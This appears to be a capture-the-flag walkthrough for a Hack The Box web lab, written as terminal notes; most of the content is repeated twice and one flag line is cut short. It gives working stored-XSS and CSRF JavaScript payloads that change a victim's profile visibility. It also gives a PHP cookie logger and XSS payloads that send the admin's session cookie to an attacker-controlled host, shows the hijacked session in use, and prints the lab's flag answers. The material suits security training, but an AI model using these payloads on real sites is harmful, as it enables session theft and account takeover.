OBJECTIVE: execute a web assessment by following the below ROE from a bug bounty program.
The only URL in scope is "http://minilab.htb.net"
Attacking end-users through client-side attacks is in scope for this particular bug bounty program.
Test account credentials:
Email: heavycat106
Password: rocknrol
Through dirbusting, you identified the following endpoint "http://minilab.htb.net/submit-solution"
Read the flag residing in the admin's public profile. Answer format: [string]Go through the PCAP file residing in the admin's public profile and identify the flag. Answer format: FLAG{string}
#
root@htb:~$ nano /etc/hosts
10.129.173.163 minilab.htb.net
#walk the application
root@htb:~$ BROWSER > {targetSite:port}
username: heavycat106
password: rocknrol
* the profile page has functions that can be interacted
- save, share, change visibility, and delete
#perform code review
root@htb:~$ BROWSER > {targetSite:port} > CTRL+U
...
<article class="tile is-child notification" style="background-color: rgb(202, 120, 43);">
<form id="updateProfileForm" action="/app/save/" method="post">
<div class="content" id="userProfileData">
<div class="field is-small">
<label class="label">Email</label>
<div class="control">
<input class="input" name="email" id="userProfileEmailInput" type="email">
</div>
<label class="label">Telephone</label>
<div class="control">
<input class="input" name="telephone" id="userProfileTelInput" type="text">
</div>
<label class="label">Country</label>
<div class="control">
<input class="input" name="country" id="userProfileCountryInput" type="text">
</div>
...
<script>
$.ajax({
url: '/api/userinfo',
dataType: 'json',
success: function (data) {
// Adding data to DOM
$("#userImage").attr("src", data['picture']['large'])
$("#userFullName").text(`${data['name']['first']} ${data['name']['last']}`)
$("#userName").text("@" + data['login']['username'])
// Filling the User data
$("#userProfileEmailInput").val(data['email'])
$('#updateProfileForm').attr('action', `/app/save/${data['email']}`);
$("#userProfileTelInput").val(data['cell'])
$("#userProfileCountryInput").val(data['location']['country'])
if (data['is_public']){
$("#shareProfile").toggle()
}
$("#profileCard").toggle()
}
});
</script>
#step 1: determine whether the application is vulnerable to csrf
#click the buttons to identify functions that could be vulnerable
root@oco:~$ BROWSER > {targetSite:port/app} > {Delete}
Are you sure you want to delete your account?
Email:
[email protected] - the email address was reflected back to the user on the window and the url
- URL: http://minilab.htb.net/app/delete/[email protected]#test whether the reflected email address (URL & windows) is vulneable to injection
root@oco:~$ BROWSER > http://minilab.htb.net/app/delete/<h1>h1<u>underline<%2fu><%2fh1>
Email: <h1>h1<u>underline<%2fu><%2fh1>
Telephone: (834)-609-2003
Country: United States
* click the "delete" button
Are you sure you want to delete your account?
Email: (834)-609-2003
h1>h1underline
* $2f is the URL encoding for /
* replace the email address with HTML to test an injection attack
- the test input was reflected back
- http://minilab.htb.net/app/delete/h1%3Eh1%3Cu%3Eunderline%3C%2fu%3E%3C%2fh1%3E
#inspect the source code
root@oco:~$ BROWSER > {targetSite:port/app/delete/<h1>h1<u>underline<%2fu><%2fh1>} > CTRL + U
<div class="subtitle" style="color: black;">Email: <div style="color: gainsboro;"><h1>h1<u>underline</u></h1></div><input name="csrf" type="hidden" value="4b2de661052d7146b2724c09ffaa1c8e998d03e2" meta-dev='testdata'
* you should notice that the injection happens before a single quote
- this can abused to leak the CSRF-Token.
#step 2: identify other parts of the webapp to determine whether it's vulnerable to xss
#perform automated discovery
root@oco:~$ burpsuite &
BURP > Proxy > Intercept > Open Browser
BURP > BROWSER > {targetSite:port}
username: heavycat106
password: rocknrol
* forward all requests to get to the profile page
BURP > BROWSER > {targetSite:port}/app
email: {arbitraryValue}
phone: {arbitraryValue}
country: {usa}
* make changes to the field to determine which one is vulnerable to xss
- click save
Requests
...
POST /app/save/[email protected] HTTP/1.1
Host: minilab.htb.net
Content-Length: 62
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://minilab.htb.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://minilab.htb.net/app/
Accept-Encoding: gzip, deflate, br
Cookie: auth-session=s%3A7yqQQjLCRKSGSZmAiI6eAIVC82XWXObJ.JgbNUFaPDkSOlbMI1QIatp7q9ewXcRJh8bN6SzvD8L0
Connection: keep-alive
email=null%40null.com&telephone=%28834%29-609-2003&country=usa
* stored XSS vulnerability identified on the application's "Country" field - accepted "usa" input
- leverage the stored XSS vulnerability to issue a state-changing request against
the web application.
- A request through XSS will bypass any same origin/same site protection since
it will derive from the same domain!
#step 3: develop the appropriate JavaScript payload to place within the Country field of the user's profile
#targeting Change Visibility can cause the disclosure of a private profile.
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage > "Make Public"
* Forward all requests so that the user's profile becomes public
#step 4: develop the payload
root@oco:~$ nano csrfPayload.txt
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/change-visibility',true);
req.send();
function handleResponse(d) {
var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/app/change-visibility', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf='+token+'&action=change');
};
</script>
* this payload will successfully execute a CSRF attack that will change the
victim's visibility settings (from private to public and vice versa).
- all the other victims has to do is view the profile page
root@oco:~$ BROWSER > https://codebeautify.org/multiline-to-single-line
* this will beautify the JavaScript code into one-liner
#step 5: exploit and weaponize the xss vulnerability on the "Country" field using the payload
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage
Country: <script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/app/change-visibility',true); req.send(); function handleResponse(d) { var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/app/change-visibility', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf='+token+'&action=change'); }; </script>
* submit the payload by clicking save
#step 6: generate the malicious profile link
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage > Share
http://minilab.htb.net/[email protected]#check if HTTPOnly is "off" using Web Developer Tools
root@oco:~$ BROWSER > {targetSite:port} > F12 > Storage > Cookies > {targetSite}
HttpOnly: False
Secure: False
SameSite: None
#step 7: expected target trigger
#target log's in to their profile and views the other victim's profile
root@target:~$ BROWSER > New Private Window > http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected] {"adminVisited":true,"adminVisitedTimestamp":1742177666698,"success":true}
* once the target visits the profile link...their profile will become public
- this is a user that had its profile "private." No "Share" functionality exists
root@oco:~$ php -S 10.10.14.35:4567
[Sun Mar 16 22:14:22 2025] PHP 8.2.26 Development Server (http://10.10.14.35:4567) started
root@oco:~$ touch cookieLog.txt
root@oco:~$ nano index.php
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://minilab.htb.net/[email protected]");
exit;
?>
* redirecting the target to an actual profile will be less suspicious and stealthier
root@oco:~$ BROWSER > {targetSite:port}
email: {arbitraryValue}
phone: {arbitraryValue}
country: <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://10.10.14.35:4567/index.php?c=' + document.cookie;"></video>
- vulnerable xss input field
* click the save button once done
- another sample payload: <h1 onmouseover='document.write(`<img src="http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}">`)'>test</h1>
#step 7: expected target trigger
#target log's in to their profile and views the other victim's profile
root@target:~$ BROWSER > New Private Window > http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected] {"adminVisited":true,"adminVisitedTimestamp":1742177666698,"success":true}
[Sun Mar 16 22:21:36 2025] 10.129.135.49:32932 Accepted
[Sun Mar 16 22:21:38 2025] 10.129.135.49:32932 [302]: GET /log.php?c=auth-session=s%3AsXlTdjx84MM8h0JTfuZeN8E_WNnkvdhW.mQ0wCRyR5UQ%2FcT8xCLsNbs9B7ytXKcPc8IhLPNkr8%2Fk
[Sun Mar 16 22:21:38 2025] 10.129.135.49:32932 Closing
root@target:~$ BROWSER > New Private Window > http://minilab.htb.net > F12 > Storage > Cookies > TargetURL
Name: auth-session
Value: s%3AsXlTdjx84MM8h0JTfuZeN8E_WNnkvdhW.mQ0wCRyR5UQ%2FcT8xCLsNbs9B7ytXKcPc8IhLPNkr8%2Fk
* Reload the page to view the Super Admin's Profile Page
- Change Visibility > Share
Flag: [YOU_ARE_A_SESSION_WARRIOR]
#
root@htb:~$ nano /etc/hosts
10.129.173.163 minilab.htb.net
#walk the application
root@htb:~$ BROWSER > {targetSite:port}
username: heavycat106
password: rocknrol
* the profile page has functions that can be interacted
- save, share, change visibility, and delete
#perform code review
root@htb:~$ BROWSER > {targetSite:port} > CTRL+U
...
<article class="tile is-child notification" style="background-color: rgb(202, 120, 43);">
<form id="updateProfileForm" action="/app/save/" method="post">
<div class="content" id="userProfileData">
<div class="field is-small">
<label class="label">Email</label>
<div class="control">
<input class="input" name="email" id="userProfileEmailInput" type="email">
</div>
<label class="label">Telephone</label>
<div class="control">
<input class="input" name="telephone" id="userProfileTelInput" type="text">
</div>
<label class="label">Country</label>
<div class="control">
<input class="input" name="country" id="userProfileCountryInput" type="text">
</div>
...
<script>
$.ajax({
url: '/api/userinfo',
dataType: 'json',
success: function (data) {
// Adding data to DOM
$("#userImage").attr("src", data['picture']['large'])
$("#userFullName").text(`${data['name']['first']} ${data['name']['last']}`)
$("#userName").text("@" + data['login']['username'])
// Filling the User data
$("#userProfileEmailInput").val(data['email'])
$('#updateProfileForm').attr('action', `/app/save/${data['email']}`);
$("#userProfileTelInput").val(data['cell'])
$("#userProfileCountryInput").val(data['location']['country'])
if (data['is_public']){
$("#shareProfile").toggle()
}
$("#profileCard").toggle()
}
});
</script>
#step 1: determine whether the application is vulnerable to csrf
#click the buttons to identify functions that could be vulnerable
root@oco:~$ BROWSER > {targetSite:port/app} > {Delete}
Are you sure you want to delete your account?
Email:
[email protected] - the email address was reflected back to the user on the window and the url
- URL: http://minilab.htb.net/app/delete/[email protected]#test whether the reflected email address (URL & windows) is vulneable to injection
root@oco:~$ BROWSER > http://minilab.htb.net/app/delete/<h1>h1<u>underline<%2fu><%2fh1>
Email: <h1>h1<u>underline<%2fu><%2fh1>
Telephone: (834)-609-2003
Country: United States
* click the "delete" button
Are you sure you want to delete your account?
Email: (834)-609-2003
h1>h1underline
* $2f is the URL encoding for /
* replace the email address with HTML to test an injection attack
- the test input was reflected back
- http://minilab.htb.net/app/delete/h1%3Eh1%3Cu%3Eunderline%3C%2fu%3E%3C%2fh1%3E
#inspect the source code
root@oco:~$ BROWSER > {targetSite:port/app/delete/<h1>h1<u>underline<%2fu><%2fh1>} > CTRL + U
<div class="subtitle" style="color: black;">Email: <div style="color: gainsboro;"><h1>h1<u>underline</u></h1></div><input name="csrf" type="hidden" value="4b2de661052d7146b2724c09ffaa1c8e998d03e2" meta-dev='testdata'
* you should notice that the injection happens before a single quote
- this can abused to leak the CSRF-Token.
#step 2: identify other parts of the webapp to determine whether it's vulnerable to xss
#perform automated discovery
root@oco:~$ burpsuite &
BURP > Proxy > Intercept > Open Browser
BURP > BROWSER > {targetSite:port}
username: heavycat106
password: rocknrol
* forward all requests to get to the profile page
BURP > BROWSER > {targetSite:port}/app
email: {arbitraryValue}
phone: {arbitraryValue}
country: {usa}
* make changes to the field to determine which one is vulnerable to xss
- click save
Requests
...
POST /app/save/[email protected] HTTP/1.1
Host: minilab.htb.net
Content-Length: 62
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://minilab.htb.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://minilab.htb.net/app/
Accept-Encoding: gzip, deflate, br
Cookie: auth-session=s%3A7yqQQjLCRKSGSZmAiI6eAIVC82XWXObJ.JgbNUFaPDkSOlbMI1QIatp7q9ewXcRJh8bN6SzvD8L0
Connection: keep-alive
email=null%40null.com&telephone=%28834%29-609-2003&country=usa
* stored XSS vulnerability identified on the application's "Country" field - accepted "usa" input
- leverage the stored XSS vulnerability to issue a state-changing request against
the web application.
- A request through XSS will bypass any same origin/same site protection since
it will derive from the same domain!
#step 3: develop the appropriate JavaScript payload to place within the Country field of the user's profile
#targeting Change Visibility can cause the disclosure of a private profile.
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage > "Make Public"
* Forward all requests so that the user's profile becomes public
#step 4: develop the payload
root@oco:~$ nano csrfPayload.txt
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/change-visibility',true);
req.send();
function handleResponse(d) {
var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/app/change-visibility', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf='+token+'&action=change');
};
</script>
* this payload will successfully execute a CSRF attack that will change the
victim's visibility settings (from private to public and vice versa).
- all the other victims has to do is view the profile page
root@oco:~$ BROWSER > https://codebeautify.org/multiline-to-single-line
* this will beautify the JavaScript code into one-liner
#step 5: exploit and weaponize the xss vulnerability on the "Country" field using the payload
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage
Country: <script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/app/change-visibility',true); req.send(); function handleResponse(d) { var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/app/change-visibility', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf='+token+'&action=change'); }; </script>
* submit the payload by clicking save
#step 6: generate the malicious profile link
root@oco:~$ BROWSER > {targetSite:port}/user'sProfilePage > Share
http://minilab.htb.net/[email protected]#check if HTTPOnly is "off" using Web Developer Tools
root@oco:~$ BROWSER > {targetSite:port} > F12 > Storage > Cookies > {targetSite}
HttpOnly: False
Secure: False
SameSite: None
#step 7: expected target trigger
#target log's in to their profile and views the other victim's profile
root@target:~$ BROWSER > New Private Window > http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected] {"adminVisited":true,"adminVisitedTimestamp":1742177666698,"success":true}
* once the target visits the profile link...their profile will become public
- this is a user that had its profile "private." No "Share" functionality exists
root@oco:~$ php -S 10.10.14.35:4567
[Sun Mar 16 22:14:22 2025] PHP 8.2.26 Development Server (http://10.10.14.35:4567) started
root@oco:~$ touch cookieLog.txt
root@oco:~$ nano index.php
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://minilab.htb.net/[email protected]");
exit;
?>
* redirecting the target to an actual profile will be less suspicious and stealthier
root@oco:~$ BROWSER > {targetSite:port}
email: {arbitraryValue}
phone: {arbitraryValue}
country: <style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://10.10.14.35:4567/index.php?c=' + document.cookie;"></video>
- vulnerable xss input field
* click the save button once done
- another sample payload: <h1 onmouseover='document.write(`<img src="http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}">`)'>test</h1>
#step 7: expected target trigger
#target log's in to their profile and views the other victim's profile
root@target:~$ BROWSER > New Private Window > http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected] {"adminVisited":true,"adminVisitedTimestamp":1742177666698,"success":true}
[Sun Mar 16 22:21:36 2025] 10.129.135.49:32932 Accepted
[Sun Mar 16 22:21:38 2025] 10.129.135.49:32932 [302]: GET /log.php?c=auth-session=s%3AsXlTdjx84MM8h0JTfuZeN8E_WNnkvdhW.mQ0wCRyR5UQ%2FcT8xCLsNbs9B7ytXKcPc8IhLPNkr8%2Fk
[Sun Mar 16 22:21:38 2025] 10.129.135.49:32932 Closing
root@target:~$ BROWSER > New Private Window > http://minilab.htb.net > F12 > Storage > Cookies > TargetURL
Name: auth-session
Value: s%3AsXlTdjx84MM8h0JTfuZeN8E_WNnkvdhW.mQ0wCRyR5UQ%2FcT8xCLsNbs9B7ytXKcPc8IhLPNkr8%2Fk
* Reload the page to view the Super Admin's Profile Page
- Change Visibility > Share
Flag: [YOU_ARE_A_SESSION_WARRIOR
* Click "Flag 2" to download the pcap
root@oco:~$ wireshark &
WireShark > File > Open > download-pcap.pcap
Display Filter: {http}
WireShark > Packet List > Packet Number 5440 > Packet Details > HTTP > GET ... > Copy > All Visible Items
Frame 5440: 579 bytes on wire (4632 bits), 579 bytes captured (4632 bits) on interface wlan0, id 0
Ethernet II, Src: Shenzhen_25:5f:c7 (1c:bf:ce:25:5f:c7), Dst: ARRISGro_9e:63:34 (e4:57:40:9e:63:34)
Internet Protocol Version 4, Src: 192.168.0.17, Dst: 93.184.216.34
Transmission Control Protocol, Src Port: 43436, Dst Port: 80, Seq: 1, Ack: 1, Len: 513
Hypertext Transfer Protocol
GET /?redirect_uri=/complete.html&token=FLAG{SUCCESS_YOU_PWN3D_US_H0PE_YOU_ENJ0YED} HTTP/1.1\r\n
Host: www.example.com\r\n
Connection: keep-alive\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\n
\r\n
[Full request URI: http://www.example.com/?redirect_uri=/complete.html&token=FLAG{SUCCESS_YOU_PWN3D_US_H0PE_YOU_ENJ0YED}]
[HTTP request 1/2]
[Response in frame: 5445]
[Next request in frame: 5453]
...